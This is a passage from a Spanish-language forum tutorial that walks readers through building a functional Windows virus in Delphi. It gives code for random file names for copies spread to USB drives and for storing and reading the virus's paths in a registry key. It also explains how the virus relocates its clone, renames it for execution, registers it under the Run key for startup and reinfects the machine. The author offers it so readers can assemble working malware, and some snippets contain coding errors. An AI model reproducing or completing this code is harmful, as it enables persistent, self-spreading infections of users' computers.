  18.          while Indice = 0 do
  19.            begin
  20.              Indice := Random(Length(Cadena));
  21.            end;
  22.          Result := Result + Cadena[Indice];
  23.        end;
  24.  
  25.    end;
  26.    Result := Result + Nam31 + naM32;
  27.  end;
  28.  


A esa función no se le tiene que pasar ningún parámetro, al final les tirará una cadena tipo "7huEjdn6.exe" por ejemplo.

Por último deberemos tomar todos estos datos y almacenarlos en la clave del Registro que tendremos como punto de referencia para futuras ejecuciones.

Sería algo así:

Código
  1.        Reg := TRegistry.create(KEY_WRITE);
  2.        Reg.RootKey := HkEY_CUrrENT_USeR;
  3.        Reg.OpenKey('Software\VirusT', True);
  4.        Reg.WriteString('Valor1', ParamStr(0)); //Ruta del virus
  5.        Reg.WriteString('Valor2', "7huEjdn6.exe"); //Nombre del virus en usb's
  6.        Reg.WriteString('Valor3', "C:\USers\Admin\excel.exe");//Ruta de la nueva copia del virus
  7.        Reg.CloseKey;
  8.        Reg.Free;
  9.  


Una vez que ya saben esto ya se imaginarán más o menos lo que hará la función "ObtenerDest_Virus"... ;)

Esta función primeramente determinará si la subclave VirusT existe en la Clave Software. Suponiendo que existiera, lo que hará será tomar la tercer cadena "Valor3" y verificará por medio de la sentencia FileExist, si el virus ya existe. Aquí debe hacerlo de 2 formas. 1, ver si la copia del virus tiene .exee o 2, ver si la copia del virus tiene .exe..... Imaginémonos que tenemos un virus que cambia de posición cada 24hrs. Si mi virus determina que es hora de ejecutar su clon, deberá cambiar la extension .exee del clon para que pueda arrancar... finalmente el virus le indica al Run que debe ejecutar, la próxima vez que se inicie la máquina, el clon de él.. Cuando el Run recibe la orden, que el clon debe ejecutarse al siguiente inicio, lo hará y el clon se ejecutará y lo una de las primeras cosas que hará será determinar si ya la pc está infectada.... Es allí donde buscará si la ruta almacenada en el "Valor3" contiene el virus, así que si no encuetra el virus con la extension .exee, buscará la extensión .exe, de lo contrario la infectará nuevamente con una nueva ruta y el proceso se repetirá....



Ahora bien cómo leemos un valor en el Registro de Windows.... Acá está un ejemplo suponiendo que deseemos conocer la ruta del virus almacenada en el "Valor3" de la Cadena "VirusT":

Código
  1.        Reg := TRegistry.create(KEY_READ);//Aca cambia el modo de creacion
  2.        Reg.RootKey := HKEY_CURRENT_USER;
  3.        Reg.OpenKey('Software\', FALSE);//Siempre usamos False en modo KEY_READ
  4.  
  5.     IF Reg.KeyExists('VirusT') then
  6.          BEGIN
  7.            Reg.OpenKey('VirusT', FALSE);
  8.            if Reg.ValueExists('Valor3!') then
  9.              begin
  10.  
  11.                Ruta:= Reg.ReadString('Valor3'); //ReadString en lugar de WriteString
  12.                REG.CloseKey;
  13.                REG.Free;
  14.              end;
  15. End;
  16.  
  17.  


Creo que por el momento esto será todo. Como verán estoy intentando abarcar todas las bases antes de proseguir con el resto del código para que nos vayamos entendiendo.Cada función que vayamos necesitando y muchas otras cosas que en el camino aparezcan se las iré explicando y así prodrán ir armando su propio virus con todo lo necesario para ser algo realmente funcional... Espero que les haya gustado a todos :) ... Nos vemos ;)
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
informacion sobre xhelper(troyano,malware)
Bugs y Exploits
JJD19 0 908 Último mensaje 2 Noviembre 2019, 04:38
por JJD19
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines